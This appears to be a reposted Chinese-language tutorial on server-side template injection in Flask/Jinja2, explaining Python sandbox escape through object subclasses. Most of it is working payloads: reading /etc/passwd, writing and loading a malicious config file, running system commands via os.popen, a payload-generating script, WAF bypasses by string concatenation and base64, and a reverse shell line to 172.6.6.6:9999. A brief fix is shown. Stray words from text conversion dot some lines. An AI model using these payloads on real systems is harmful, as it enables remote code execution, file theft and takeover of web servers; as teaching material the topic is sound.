一篇以python Flask 模版渲染爲例子的SSTI注入教學~html
這裏簡化了flask使用和渲染的教程 只把在安全中咱們須要關注的部分寫出來前端
來一段最簡單的FLASK運行代碼:python
很簡單的flask使用 將url的qing和方法綁定 返回"qing - Flask test"字符串web
說一下模版渲染Jinja2中變量shell
控制結構 {% %} 變量取值 {{ }} 註釋 {# #}
jinja2模板中使用 {{ }} 語法表示一個變量,它是一種特殊的佔位符。當利用jinja2進行渲染的時候,它會把這些特殊的佔位符進行填充/替換,jinja2支持python中全部的Python數據類型好比列表、字段、對象等flask
inja2中的過濾器能夠理解爲是jinja2裏面的內置函數和字符串處理函數。安全
被兩個括號包裹的內容會輸出其表達式的值bash
再來看看ssti中咱們須要關注的渲染方法和模版markdown
flask的渲染方法有render_template和render_template_string兩種app
render_template()用來渲染指定的文件:
return render_template('index.html')
render_template_string則是用來渲染字符串
html = '<h1>This is a String</h1>' return render_template_string(html)
模板
flask使用Jinja2來做爲渲染引擎的
在網站的根目錄下新建templates
文件夾,這裏是用來存放html文件。也就是模板文件。
qing.html:
訪問localhost/qing 後flask會渲染出模版:
而在咱們SSTI注入場景中模版都是有變量進行渲染的。
例如我這裏渲染方法進行傳參 模版進行動態的渲染
from flask import Flask,url_for,redirect,render_template,render_template_string app = Flask(__name__) @app.route('/qing') def hello_world(): return render_template('qing.html',string="qing qing qing") if __name__ == '__main__': app.run()
qing.html:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Flask</title> </head> <body> <h1>{{string}}</h1> </body> </html>
基本使用大體就這樣吧 接下來看看SSTI注入造成和利用。
ssti中會設計到python的沙盒逃逸 不會的弟弟 和我同樣捱打學着
沙箱是一種按照安全策略限制程序行爲的執行環境。早期主要用於測試可疑軟件等,好比黑客們爲了試用某種病毒或者不安全產品,每每能夠將它們在沙箱環境中運行。
經典的沙箱系統的實現途徑通常是經過攔截系統調用,監視程序行爲,而後依據用戶定義的策略來控制和限制程序對計算機資源的使用,好比改寫註冊表,讀寫磁盤等。
沙箱逃逸,就是在給咱們的一個代碼執行環境下(Oj或使用socat生成的交互式終端),脫離種種過濾和限制,最終成功拿到shell權限的過程。其實就是闖太重重黑名單,最終拿到系統命令執行權限的過程。
在啓動Python解釋器以後,即便沒有建立任何的變量或者函數,仍是會有許多函數能夠使用,這些函數就是內建函數,並不須要咱們本身作定義,而是在啓動python解釋器的時候,就已經導入到內存中供咱們使用
它是從名稱到對象的映射,而在python程序的執行過程當中,至少會存在兩個名稱空間
內建名稱空間
全局名稱空間
__class__ 返回類型所屬的對象
__mro__ 返回一個包含對象所繼承的基類元組,方法在解析時按照元組的順序解析。
__base__ 返回該對象所繼承的基類 // __base__和__mro__都是用來尋找基類的
__subclasses__ 每一個新類都保留了子類的引用,這個方法返回一個類中仍然可用的的引用的列表
__init__ 類的初始化方法
__globals__ 對包含函數全局變量的字典的引用
有這些類繼承的方法,咱們就能夠從任何一個變量,順藤摸瓜到基類中去,再得到到此基類全部實現的類,而後再經過實現類調用相應的成員變量函數 這裏就是沙盒逃逸的基本流程了。
python中一切均爲對象,均繼承object對象
''.__class__.__mro__[-1] >>>[].__class__.__bases__[0] <type 'object'> >>>''.__class__.__mro__[-1] <type 'object'>
獲取字符串的類對象
''.__class__ <type 'str'>
尋找基類
''.__class__.__mro__ (<type 'str'>, <type 'basestring'>, <type 'object'>)
查看實現類和成員
''.__class__.__mro__[1].__subclasses__() [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
例如我要使用os模塊執行命令
首先獲取 warnings.catch_warnings 在 object 類中的位置
import warnings [].__class__.__base__.__subclasses__().index(warnings.catch_warnings) 60 [].__class__.__base__.__subclasses__()[60] <class 'warnings.catch_warnings'> [].__class__.__base__.__subclasses__()[60].__init__.func_globals.keys() ['filterwarnings', 'once_registry', 'WarningMessage', '_show_warning', 'filters', '_setoption', 'showwarning', '__all__', 'onceregistry', '__package__', 'simplefilter', 'default_action', '_getcategory', '__builtins__', 'catch_warnings', '__file__', 'warnpy3k', 'sys', '__name__', 'warn_explicit', 'types', 'warn', '_processoptions', 'defaultaction', '__doc__', 'linecache', '_OptionError', 'resetwarnings', 'formatwarning', '_getaction']
查看 linecache(操做文件的函數)
`[].__class__.__base__.__subclasses__([60].__init__.func_globals['linecache'].__dict__.keys()` `['updatecache', 'clearcache', '__all__', '__builtins__', '__file__', 'cache', 'checkcache', 'getline', '__package__', 'sys', 'getlines', '__name__', 'os', '__doc__']`
能夠看到這裏調用了 os 模塊, 因此能夠直接調用 os 模塊
a=[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12] a <module 'os' from '*****\python27\lib\os.pyc'>
接着要調用 os 的 system 方法, 先查看 system 的位置:
a.__dict__.keys().index('system') 79 a.__dict__.keys()[79] 'system' b=a.__dict__.values()[79] b <built-in function system> b('whoami')
code = request.args.get('ssti') html = ''' <h1>qing -SSIT</h1> <h2>The ssti is </h2> <h3>%s</h3> ''' % (code) return render_template_string(html)
這裏把ssti變量動態的輸出在%s,而後進過render_template_string渲染模版,單獨ssti注入成因就在這裏。
這裏前端輸出了 XSS問題確定是存在的
http://127.0.0.1:5000/qing?ssti=%3Cscript%3Ealert(/qing/)%3C/script%3E
繼續SSTI注入 前面說了Jinja2變量解析
控制結構 {% %} 變量取值 {{ }} 註釋 {# #}
咱們這裏進行變量測試
http://127.0.0.1:5000/qing?ssti={{2*2}}
flask中也有一些全局變量
http://127.0.0.1:5000/qing?ssti={{config}}
code = request.args.get('ssti') html = ''' <h1>qing -SSIT</h1> <h2>The ssti is </h2> <h3>{{code}}</h3> ''' return render_template_string(html)
將template 中的 」’<h3> %s!</h3>」’ % code更改成 」’<h3>{{code}}</h3>」’ ,這樣以來,Jinja2在模板渲染的時候將request.url的值替換掉{{code}}, 而不會對code內容進行二次渲染
這樣即便code中含有{{}}也不會進行渲染,而只是把它當作普通字符串
#讀文件 {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}} {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}} #寫文件 {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}} {{ config.from_pyfile('/tmp/owned.cfg') }}
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from subprocess import check_output\n\nRUNCMD = check_output\n')}} {{ config.from_pyfile('/tmp/owned.cfg') }} {{ config['RUNCMD']('/usr/bin/id',shell=True) }}
無回顯
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}} {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}
任意執行只須要一條指令
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}(這條指令能夠注入,可是若是直接進入python2打這個poc,會報錯,用下面這個就不會,多是python啓動會加載了某些模塊) http://39.105.116.195/{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函數換爲popen('').read(),須要導入os模塊) {{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不須要導入os模塊,直接從別的模塊調用)
python3沒有file了,只有open
文件讀取
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}
http://www.qing-sec.com:8000/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
http://www.qing-sec.com:8000/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
![](http://static.javashuo.com/static/loading.gif)
http://www.qing-sec.com:8000/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
http://www.qing-sec.com:8000/?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('uname').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
http://www.qing-sec.com:8000/?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}
一個個尋找函數太麻煩了 這裏有腳本尋找須要的function
#!/usr/bin/python3 # coding=utf-8 # python 3.5 from flask import Flask from jinja2 import Template # Some of special names searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__'] neededFunction = ['eval', 'open', 'exec'] pay = int(input("Payload?[1|0]")) for index, i in enumerate({}.__class__.__base__.__subclasses__()): for attr in searchList: if hasattr(i, attr): if eval('str(i.'+attr+')[1:9]') == 'function': for goal in neededFunction: if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')): if pay != 1: print(i.__name__,":", attr, goal) else: print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")
輸出
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_Unframer' %}{{ c.__init__.__globals__['__builtins__'].exec("[evil]") }}{% endif %}{% endfor %} {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval("[evil]") }}{% endif %}{% endfor %} {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].open("[evil]") }}{% endif %}{% endfor %}
執行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval('__import__("os").popen("id").read()') }}{% endif %}{% endfor %}
當有的字符串被 waf 的時候能夠經過編碼或者字符串拼接繞過
().__class__.__bases__[0].__subclasses__()[40]('r','ZmxhZy50eHQ='.decode('base64')).read() ().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt')).read()
().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read() ().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt')).read()
del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement del __builtins__.__dict__['eval'] # evaluating code could be dangerous del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous
當沒有過濾reload函數時,咱們能夠
reload(__builtins__)
便可恢復刪除的函數。
當不能經過[].class.base.subclasses([60].init.func_globals[‘linecache’].dict.values()[12]直接加載 os 模塊
這時候能夠使用getattribute+ 字符串拼接 / base64 繞過 例如:
[].__class__.__base__.__subclasses__()[60].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__.values()[12] [].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]
python2: [].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls') [].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls') "".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")') "".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")') "".__class__.__mro__[-1].__subclasses__()[40](filename).read() "".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")') ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/172.6.6.6/9999 0>&1"') python3: ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval'] "".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval'] ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('__global'+'s__')['os'].__dict__['system']('ls')
參考連接:
https://www.freebuf.com/vuls/162752.html
https://bbs.ichunqiu.com/thread-47685-1-1.html?from=aqzx8
https://www.freebuf.com/articles/web/98619.html
https://blog.csdn.net/JBlock/article/details/82938656